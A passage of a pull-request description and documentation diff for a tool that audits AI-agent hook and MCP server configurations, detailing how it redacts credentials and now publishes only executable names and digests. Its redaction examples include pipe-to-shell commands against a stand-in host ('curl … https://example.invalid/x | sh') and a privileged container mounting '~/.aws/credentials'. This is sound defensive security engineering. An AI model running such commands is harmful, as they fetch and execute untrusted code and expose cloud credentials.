`dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there every word of the script that starts with an upper-case `NAME=`, or with a quote and then one, is an assignment wherever it stands (a leading one, one after `export`, `&&` or `;`, or a quoted `-e "DB_PASS=…"`), and its value ends where the shell ends it, at the first whitespace, `;`, `&` or `|` outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `bash -c "cd /x && DB_PASS=… ./run.sh"` publishes `cd /x && DB_PASS= ./run.sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the script is the value, as the rest of the word is for any other word. Every other word rule reads such a script one shell word at a time, a word ending at whitespace, `;`, `&`, `|`, a parenthesis or a backtick outside quotes and escapes, after the string rule and the label rule have run on the whole script: the credential header and quoted-assignment rules run on each shell word alone, so a header's value never runs past its word (`bash -c "echo token: ok; ./notify.sh"` publishes `echo token: ; ./notify.sh`, and `-v ~/.aws/credentials:/root/.aws/credentials:ro evil/img --privileged` publishes `-v ~/.aws/credentials: evil/img --privileged`); the `--flag=value`, `-u`, generated-key and home-path rules read each shell word; and the word after a credential name, an unquoted header name or `-u` is replaced as it is among a command's words, reading the script both as written and after the string rule (`--api-key=`, `--secret-key `, `token `, `-u admin:`, `--no-password `, `Authorization: `). Every word of the script as written is read, so such a value is found however many words the string rule took into one value before it: `curl https://x.invalid/?a&b&c&d; t --no-password --token X` publishes `curl https://x.invalid/ t --no-password `, and `TOKEN=a|b|c|d; echo Authorization: Basic X` publishes `TOKEN=; echo Authorization: `. Both readings start afresh at each command of the script: the first word after `;`, `&&`, `|`, a newline, a parenthesis or a backtick is never read as a value of a word before it, so `echo token:; ./notify.sh` publishes `echo token:; ./notify.sh` and `gh auth token | docker login ghcr.io …` publishes `gh auth token | docker login ghcr.io …`. That drops none of the digest's redactions: its string rule, which has already run on the whole script, still replaces what it reads across a separator, so `--token |X` publishes `--token `, and in `--token` followed by a newline and `X`, `X` is ``. A word that follows a credential name as written is `` wherever else the script holds the same word, so `echo token: echo` publishes ` token: `. A word such a rule rewrites is published without its quotes unless it was one quoted word; every other character is copied as written. A script is read this way only when the shell is the command itself: after `env` or `sudo` (`sudo bash -c "X=1; …"`), and in the script of a shell that is not POSIX, such as `pwsh -c`, the script is read by the rule for any other word, so a leading assignment hides the rest of it (`X=`), an assignment later in it is not read as one, and a credential header or key name's value runs to its end (`sudo bash -c "echo token: ok; curl … | sh"` publishes `echo token: `). - **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. When an edit is confined to what is past a bound, the row says only the first ones were compared and names what is past them, below. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. - **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and the display's redaction never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument, as is a change to a header value's words after its scheme (`Authorization: Bearer …`) or to the value after a flag the digest's input does not name (`--secret-key …`). A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value or an `X-Api-Key:` header value, is not compared, so a change confined to it is no row, as before. diff --git a/docs/host-boundary-support.md b/docs/host-boundary-support.md index 1ea11d966..f19d0c96b 100644 --- a/docs/host-boundary-support.md +++ b/docs/host-boundary-support.md @@ -174,9 +174,20 @@ the command is not resolved or run, the script it names is not read (#702), and a credential-shaped word, a generated-looking key even when `.`, `:` or `;` joins it to other text (`SG..`), a credential header's whole value within its word, a quoted credential assignment's value and the value -after a credential-named flag are published as ``.

Four review cycles each found a credential inside free-form shell text that a redaction rule missed (a quoted word, a -c script, a separator, a here-document), and cycle 4 found another: a -u, --pass, --secret-key or token value inside a quoted word that is not the command's own script. Redacted shell text cannot be made safe by adding rules, so per the PM decision of 2026-09-23 none of it is published on any surface. - A hook handler's command is now {executable, sha256}: the last path segment of its first word, only when that is a plain token no redaction rule rewrites and not a shell reserved word (otherwise ), and the SHA-256 of the whole command as config_sha256's input holds it. The type, env_keys, argv0 and args members are gone. - An MCP server grant publishes package, at most one argument of a strict npm, PyPI or OCI shape that follows no flag but a package runner's own, and args_sha256, the digest of every argument with the package replaced by a marker, in place of args and omitted_args. - The matcher keeps the published-label redaction; a non-string matcher is . A timeout written as text is published only as a plain token. - Every free-text redaction rule this change had added is removed: the word, script, header, -u, flag-value and generated-key rules and the command splitter. The digest's assignment-rule lookahead stays. The members remain display only: each is a function of the configuration as config_sha256's input holds it, grant equality and the inventory digests leave them out, and a saved baseline holds none of them. A reorder of the published handlers now reads "the published handlers in a different order; a detail this output does not show may also differ, such as ...". Equal published handlers never establish equal handlers, since a setting such as async is not published. The PR comment no longer loses rows to one long entry. Its bound cut at the first line that did not fit, so a long hook entry hid every later row, the change count and the review question. An entry is now printed whole when the whole comment fits, and otherwise cut to the widest of 480, 240 and 120 characters at which it does, with a pointer to verifier.json. A comment written without a readiness report now points to verifier.json instead of a report.md that route does not write. Rows, row counts and digests are unchanged. diff --json on the 80 vendored benchmark cases gives byte-identical rows beside e3c6cb0c, and the seven content-free hook and MCP entries there now name their field. The README and quickstart answers are the published 1.1.0 ones again.

Runtime contract v41. - - **Redaction and bounds:** every published word passes through the #802 label redaction (known token shapes, `Bearer` and credential assignments, URLs reduced to scheme and host, `scheme://` userinfo); within each command word, argument or word of a shell's `-c` script, a credential header or key written `Name: value` loses its whole value, the scheme included, so `Authorization: Basic …`, `Authorization: Bot …` and `X-Auth-Token: …` publish `Authorization: ` and `X-Auth-Token: `, and an unquoted `Authorization:` takes the next word, and a scheme's next word, as its value, while a `$NAME` shell variable is never read as a header name (`-v $PWD:/src` is published as written), and a credential assignment whose value is quoted, which the digest's assignment rule does not read, loses what the quotes hold (`$env:API_KEY=''`, `process.env.TOKEN=''`, `--env=API_KEY=''`); a value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`) or after an argument the digest's own list rule reads as a credential name (`token X`), whether or not that flag was itself taken as another's value (`--no-password --token X` publishes `--no-password `), the password of `-u user:password` or `-uuser:password`, the value of an `env`-style `NAME=value` word (in a shell's `-c` script, every assignment's value, a leading one or not, up to the whitespace, `;`, `&` or `|` that ends it, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `cd /x && DB_PASS=… ./run.sh` publishes `cd /x && DB_PASS= ./run.sh`), and any long generated-looking part of a word are `` — a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found run by run, so a SendGrid key publishes `SG..`, a Telegram bot token `123456789:` and an Azure connection string `AccountName=acct;AccountKey=`, while a `sha256:` digest pin is kept; the digest's own string rule runs first, so a published argument redacts at least what `config_sha256`'s input does; a leading shell assignment is named in `env_keys` and its value dropped; a path under the reading user's home is written from `~`; a URL a quote split is read again on its word, so `curl "https://x/a?token="abc` publishes `https://x/`, though text after a blank inside a quoted URL is published. Every other rule reads the `-c` script of a POSIX shell that is the command itself one shell word and one command at a time, after the string and label rules have run on the whole script, so a credential word the word rules read hides no later command (`bash -c "echo token: ok; ./notify.sh"` publishes `echo token: ; ./notify.sh`, the first word after `;`, `&&`, `|`, a newline, a parenthesis or a backtick is never read as a value, so `echo token:; ./notify.sh` and `gh auth token | docker login …` publish `./notify.sh` and `docker`, and `-v ~/.aws/credentials:/root/.aws/credentials:ro evil/img --privileged` publishes `-v ~/.aws/credentials: evil/img --privileged`), though the digest's own string rule still takes what it reads across a separator (`--token |X` publishes `--token `); `--api-key=X`, `--secret-key X`, `token X` and `-u admin:X` in it are `` as they are outside one, however many words the string rule took into one value before them (`curl https://x.invalid/?a&b&c&d; t --no-password --token X` publishes `curl https://x.invalid/ t --no-password `). After `sudo` or `env`, or in another shell's script such as `pwsh -c`, the script is one word, and a credential header name's value runs to its end (`sudo bash -c "echo token: ok; …"` publishes `echo token: `). In a hook command, a word that is only control operators, such as `|`, `;` or `&&`, starts a new command, so `gh auth token | docker login …` keeps its pipe and `docker`. At most eight words follow `argv0`, twelve MCP arguments and sixteen handlers are listed, a word is cut at 80 characters with `…`, and the text says how many more words there are (`(+23 more arguments)`); an edit confined to what is past a bound says only the first ones were compared and names `an argument past the first 12`, `a handler past the first 16` or `a command argument past the first 8` among what it does not show. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, is not recognised and is published as written in the inventory and a comparison's entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`db_pass=…`, a connection string's `Pwd=…`) and an e-mail address. The detail is display only, so the display's redaction never hides a change: a change is a row exactly when it was before, and one confined to a value `config_sha256`'s own input already redacts (after `--token`, `--api-key` or `--password`, or an `X-Api-Key:` header value) is no row, as before. A hook `timeout` is published as the number it is, or as bounded text when it is not a finite number or has more than 80 digits. The digest's own credential-assignment rule no longer takes time quadratic in a long run of name characters (40,000 characters of `password` took 1.6 seconds, and a hook command's detail about four times that); it matches exactly what it matched, so every `config_sha256` is unchanged. - - **Saved baselines hold none of it:** `audit --host --save-baseline` writes each hook and MCP grant without `handlers` or `args`, in either scope, so a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json`, managed settings or a git-ignored `.claude/settings.local.json` never reaches the committed baseline. A comparison whose head is the working tree (`diff` or `verify` without `--head`) reads a git-ignored `.claude/settings.local.json` there, as it already read the file's events, so its commands can appear in the local `diff` output, `pr-comment.md` and `verifier.json`; a CI checkout has no such file. A saved `0.7` baseline's grants are the ones a `0.6` baseline holds; no comparison, row or digest read them, and `inventory_sha256` is unchanged. - - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree gave byte-identical rows on all 80; 42 entries on 35 cases gained detail, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names its field, such as `mcp-outline: args mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. +- A hook row now names what changed in the hook, and an MCP row names a change to the server's launch arguments.

An added or removed hook names its handlers, `SessionEnd (command cleanup.sh sha256:18d2c7ec39bc)`, and an added MCP server its package.

The row's direction, severity, `why` and loading basis are unchanged: plugin-selected (#714) and Codex hooks read as before, and no entry claims a direction (#820), runtime loading or what a command does. + - **No command or argument text is published, on any surface.** A hook command is published as its executable's name — the last path segment of its first word, only when that is a plain token (`[A-Za-z0-9._+-]`, at most 80 characters) that no redaction rule rewrites and not a shell reserved word such as `if`, otherwise `` — and the SHA-256 of the whole command as `config_sha256`'s input holds it. An MCP server's arguments are published as at most one package specification of a strict shape (npm `name@version` or `@scope/name@version` with a version of two or three numeric parts, a `^`/`~` range on one or a common dist-tag; PyPI `name==version` with a version of two or more parts; an OCI image reference with a path and a tag or `sha256` digest) that no redaction rule rewrites and that follows no flag but a package runner's own (`-y`, `--from`, `--rm` …), and the SHA-256 of every argument with the package replaced by a marker. The matcher passes the #802 published-label redaction and is cut at 120 characters; a timeout is the number as declared, an over-80-digit integer's cut digits, `inf`/`nan`, `true`/`false`, a plain-token string or ``. Earlier drafts published redacted command words, and each of four review cycles found a credential the redaction rules missed inside free-form shell text; publishing none of it closes the class. + - **Host-grants `0.7`:** a hook grant adds `handlers[]` — each handler's group `matcher`, its `command` `{executable, sha256}` and its `timeout` — and `omitted_handlers` (at most sixteen handlers are listed); an MCP server grant adds `package` and `args_sha256`, both `null` when no `args` is declared.

An entry is now printed whole when the whole comment fits, and otherwise cut to the widest of 480, 240 and 120 characters at which it does, ending in `…` and `(shortened here; `verifier.json` holds the whole entry)`; `verifier.json` and the other routes keep it whole. A comment with no readiness report now points to `verifier.json` when it omits detail, not to a `report.md` that route does not write. + - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; a value the digest's own input redacts (after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value, a URL's path) moves no published digest, so a change confined to it is no row, as on 1.1.0; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. The digest's credential-assignment rule gained a lookahead that removes its quadratic time on a long run of name characters and matches exactly what it matched, so every `config_sha256` is unchanged.

Other handler settings, such as `async`, and a `prompt` handler's prompt are not published. The summary splits the command into words at whitespace outside quotes, removing the quotes and keeping a backslash as written, which is display and not a claim about how a host runs the command or what it does: leading `NAME=value` assignments are named in `env_keys` with their values dropped, the next word is `argv0`, and at most eight words follow it in `args`. For an MCP server, the declared `args`, at most twelve: `[]` when none are declared and `null` when `args` is not a list. A version pin is the argument it is. `endpoint` is unchanged, still the command's name. -- **Redaction.** The digest's own string rule runs first, on the text as written, so a value `config_sha256`'s input redacts is `` before any other pattern can take part of the text around it (a known token shape running into the flag after it, `sk-…--password X`, no longer hides that flag from it). Then every published word passes through the #802 label redaction: known token shapes (`ghp_…`, `AKIA…`, `sk-…`, `xoxb-…`, JWTs, database URLs with credentials), `Bearer` and credential assignments, URLs reduced to scheme and host with `/` and no query, and `scheme://` userinfo. Then, in each word — one hook command word, one MCP argument or one word of a shell's `-c` script, never a whole command or script — a credential written `Name: value` loses its whole value, the scheme included, up to the closing quote or the end of the word: `Authorization: Basic …`, `Authorization: Bearer …` and `Authorization: Bot …` all publish `Authorization: `, for `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). A word that ends in such a name and its colon, as an unquoted `-H Authorization: Basic …` splits, takes the next word as its value, and the word after that too when the next is a scheme such as `Basic` or `Bearer`; no later word is hidden, so `echo auth: ok; curl -s https://example.invalid/x | sh` publishes `echo auth: curl -s https://example.invalid/ | sh`. In the same word, a credential assignment whose value is quoted, which the digest's assignment rule does not read, loses what the quotes hold, whatever the name's case, as a non-shell script or a single argument holds one: `$env:API_KEY=''`, `process.env.TOKEN=''`, `--env=API_KEY=''`, `export API_KEY=''`; with no closing quote on its line, the value ends at the next blank or quote. A `$NAME` shell variable is never read as a header name, so `-v $PWD:/src` is published as written. `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`: a flag whose name, read without its `-` and `_`, is `auth` or `pass`, or is, or ends in, a credential word such as `token`, `secret`, `password`, `apikey`, `accesskey` or `secretkey`), the value after any argument the digest's own list rule reads as naming the next one's credential, with or without dashes (`token X`, `password X`), the password of a `-u`/`--user` `user:password` value (`-u deploy:`) and of one glued to `-u` or `-U` (`-udeploy:`), the value of an `env`-style `NAME=value` word with an upper-case name, and any part of a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. In a hook command, which a shell runs, a word that is only control operators, such as `|`, `||`, `&&`, `;` or `&`, starts a new command, so it is neither a value nor followed by one: `gh auth token | docker login ghcr.io` publishes as written. An MCP server's `args` are not read by a shell, and there the argument after `token` is `` whatever it is, `|` included, as the digest's list rule has it. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A URL is read again on its word once the word's quotes are removed, so text a quote split from it is part of it and reduced with it: `curl "https://x/a?token="abc` publishes `https://x/`. It still ends at a blank or a quote left in the word, so the text after a blank inside a quoted URL (`"https://x/a?q=a b"`) is published as written. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`token`, `secret`, `password`, `passwd`, `api_key`, `apikey`, `credential`), such as `db_pass=…` or a connection string's `Uid=sa;Pwd=…`, and an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, `dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there every word of the script that starts with an upper-case `NAME=`, or with a quote and then one, is an assignment wherever it stands (a leading one, one after `export`, `&&` or `;`, or a quoted `-e "DB_PASS=…"`), and its value ends where the shell ends it, at the first whitespace, `;`, `&` or `|` outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `bash -c "cd /x && DB_PASS=… ./run.sh"` publishes `cd /x && DB_PASS= ./run.sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the script is the value, as the rest of the word is for any other word. Every other word rule reads such a script one shell word at a time, a word ending at whitespace, `;`, `&`, `|`, a parenthesis or a backtick outside quotes and escapes, after the string rule and the label rule have run on the whole script: the credential header and quoted-assignment rules run on each shell word alone, so a header's value never runs past its word (`bash -c "echo token: ok; ./notify.sh"` publishes `echo token: ; ./notify.sh`, and `-v ~/.aws/credentials:/root/.aws/credentials:ro evil/img --privileged` publishes `-v ~/.aws/credentials: evil/img --privileged`); the `--flag=value`, `-u`, generated-key and home-path rules read each shell word; and the word after a credential name, an unquoted header name or `-u` is replaced as it is among a command's words, reading the script both as written and after the string rule (`--api-key=`, `--secret-key `, `token `, `-u admin:`, `--no-password `, `Authorization: `). Every word of the script as written is read, so such a value is found however many words the string rule took into one value before it: `curl https://x.invalid/?a&b&c&d; t --no-password --token X` publishes `curl https://x.invalid/ t --no-password `, and `TOKEN=a|b|c|d; echo Authorization: Basic X` publishes `TOKEN=; echo Authorization: `. Both readings start afresh at each command of the script: the first word after `;`, `&&`, `|`, a newline, a parenthesis or a backtick is never read as a value of a word before it, so `echo token:; ./notify.sh` publishes `echo token:; ./notify.sh` and `gh auth token | docker login ghcr.io …` publishes `gh auth token | docker login ghcr.io …`. That drops none of the digest's redactions: its string rule, which has already run on the whole script, still replaces what it reads across a separator, so `--token |X` publishes `--token `, and in `--token` followed by a newline and `X`, `X` is ``. A word that follows a credential name as written is `` wherever else the script holds the same word, so `echo token: echo` publishes ` token: `. A word such a rule rewrites is published without its quotes unless it was one quoted word; every other character is copied as written. A script is read this way only when the shell is the command itself: after `env` or `sudo` (`sudo bash -c "X=1; …"`), and in the script of a shell that is not POSIX, such as `pwsh -c`, the script is read by the rule for any other word, so a leading assignment hides the rest of it (`X=`), an assignment later in it is not read as one, and a credential header or key name's value runs to its end (`sudo bash -c "echo token: ok; curl … | sh"` publishes `echo token: `). -- **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. When an edit is confined to what is past a bound, the row says only the first ones were compared and names what is past them, below. +- **No command or argument text is published.** Earlier drafts of this change published redacted command words and arguments, and each of four review cycles found a credential the redaction rules missed inside free-form shell text — a quoted word, a `-c` script, a separator, a here-document. Redacted shell text cannot be made safe by adding rules, so none of it is published, on any surface: not in the inventory, a baseline, a drift payload, a row, a `why`, `diff` text or JSON, `check`, `verify` or its files, or the PR comment. +- **What a hook publishes.** Each handler under the event, in file order, at most sixteen (`omitted_handlers` counts the rest): its group's `matcher`, through the #802 published-label redaction and cut at 120 characters with `…` (`null` when the group declares none, `` when it is not a string); its `command`, as `executable` and `sha256` (`null` for a handler with no command string, such as a `prompt` handler); and its `timeout`. `executable` is the last `/` or `\` segment of the command's first whitespace-separated word, quotes around it removed, when that segment is a plain token (`[A-Za-z0-9._+-]`, at most 80 characters) that no redaction rule rewrites; otherwise it is ``, as for a leading `NAME=value` assignment, a word a blank leaves inside an open quote, a shell reserved word such as `if`, or a URL. It is a label, not a claim about what a host runs. `sha256` is the SHA-256 of the whole command as `config_sha256`'s input holds it. `timeout` is the number as declared; an integer of more than 80 digits is its digits cut with `…`, a non-finite float `inf`, `-inf` or `nan`, a boolean `true` or `false`, a string itself when it is a plain token, and any other value ``. Other handler settings, such as `type` and `async`, are not published. +- **What an MCP server publishes.** `package`: the first argument that is a package specification of a strict shape — npm `name@version` or `@scope/name@version`, with a version of two or three numeric parts (optionally with `^` or `~`, a leading `v`, a prerelease or a build) or one of the dist-tags `latest`, `next`, `beta`, `alpha`, `canary`, `rc`, `stable`, `experimental`, `nightly`, `insiders`, `dev` and `preview`; PyPI `name==version`, with a version of two or more numeric parts and extras allowed; or an OCI image reference with a registry or namespace path and a tag or `sha256` digest — that neither the digest's input redaction nor the published-label redaction rewrites, that is at most 200 characters, and that follows no flag but a package runner's own (`-y`, `--yes`, `--package`, `--from`, `--with`, `--spec`, `-i`, `--interactive`, `--rm`, `--init`, `-q`, `--quiet`); `null` when none is. `args_sha256`: the SHA-256 of the declared `args` as `config_sha256`'s input holds them, the package replaced by a marker, so an edit to the package alone moves only `package`; `args` that is not a list is digested as declared. Both are `null` when no `args` is declared. `endpoint` is unchanged, still the command's name. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. -- **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and the display's redaction never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument, as is a change to a header value's words after its scheme (`Authorization: Bearer …`) or to the value after a flag the digest's input does not name (`--secret-key …`). A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value or an `X-Api-Key:` header value, is not compared, so a change confined to it is no row, as before. -- **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `args` or `omitted_args`, in either scope. A baseline is committed ("Commit it"), and a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry values that were never in the repository into it, a short positional password among them, which no word rule recognises. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has no `handlers` or `args`; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. A comparison whose head is the working tree (`diff` or `verify` without `--head`) reads the files there as they are, a git-ignored `.claude/settings.local.json` included, as it already read that file's hook events, so that file's commands and arguments, a short positional password among them, can appear in the local `diff` output, `pr-comment.md` and `verifier.json`, where before only the event was printed. A CI checkout has no such file; read a comment written locally before posting it. -- **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`. A changed MCP server adds `args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest` beside its other published facts, and an added one `docs (command name npx; args -y example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting`, and a command server `no difference in the command name npx, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting`. When either side declares more than it publishes, the sentence names the bound: a command server with more than twelve arguments reads `no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, the command's path, a redacted or shortened argument, or another setting`, a hook with more than sixteen handlers reads `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`, and one whose command has more than eight arguments names `a command argument past the first 8`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. +- **Display only.** Every new member is a function of the configuration as `config_sha256`'s input holds it, so it can move only when that digest does. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before. The digests bind what the digest's input binds: rotating a positional token, a header value's words after its scheme or the value after a flag that input does not name (`--secret-key`) is still a row, which reads `command changed` or `launch arguments changed`. A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value or a URL's path, moves no digest, so a change confined to it is no row, as before. +- **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `package` or `args_sha256`, in either scope. A baseline is committed ("Commit it"), and a matcher, executable name, digest or package read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry facts about files that were never in the repository into it. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has none of the members; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. +- **The rows.** A changed hook names each differing field with its before and after: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)` (a digest printed as its first twelve hex digits), `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced. The same published handlers in another order read `the published handlers in a different order; a detail this output does not show may also differ, such as another hook setting or a redacted or shortened matcher or timeout`: equal published handlers never establish equal handlers. An added or removed hook names its handlers, `SessionEnd (command cleanup.sh sha256:18d2c7ec39bc)`. A changed MCP server adds `package example-mcp-server@1.2.3 → example-mcp-server@latest` or `launch arguments changed (sha256:… → sha256:…)` beside its other published facts, and an added one names its package, `docs (command name npx; package example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, command or timeout; the change is in a detail this output does not show, such as another hook setting or a redacted or shortened matcher or timeout` (with more than sixteen handlers, `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`), and a command server `no difference in the command name npx, launch arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. +- **The PR comment.** Its 6,000-character bound cuts at the first line that does not fit, so a long entry used to hide every row after it, the change count and the review question.

